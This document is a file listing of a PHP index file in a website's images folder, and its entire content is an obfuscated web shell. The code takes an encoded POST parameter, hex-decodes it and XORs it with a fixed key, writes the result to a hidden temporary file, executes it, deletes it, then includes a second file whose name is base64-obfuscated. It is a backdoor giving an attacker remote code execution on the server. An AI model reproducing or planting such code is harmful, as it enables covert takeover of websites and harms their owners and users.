File: /home/schuftan/domains/schuftan.cl/public_html/antiguo/images/images/index.php
<?php if(in_array("\x65\x6Et", array_keys($_POST))){ $pointer = hex2bin($_POST["\x65\x6Et"]); $holder='';foreach(str_split($pointer) as $char){$holder .= chr(ord($char) ^ 53);} $desc = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); while ($itm = array_shift($desc)) { if (!!is_dir($itm) && !!is_writable($itm)) { $flg = "$itm/.hld"; if (file_put_contents($flg, $holder)) { require $flg; unlink($flg); die(); } } } }
require_once base64_decode("VllSU3dKUS5mNHY"); ?>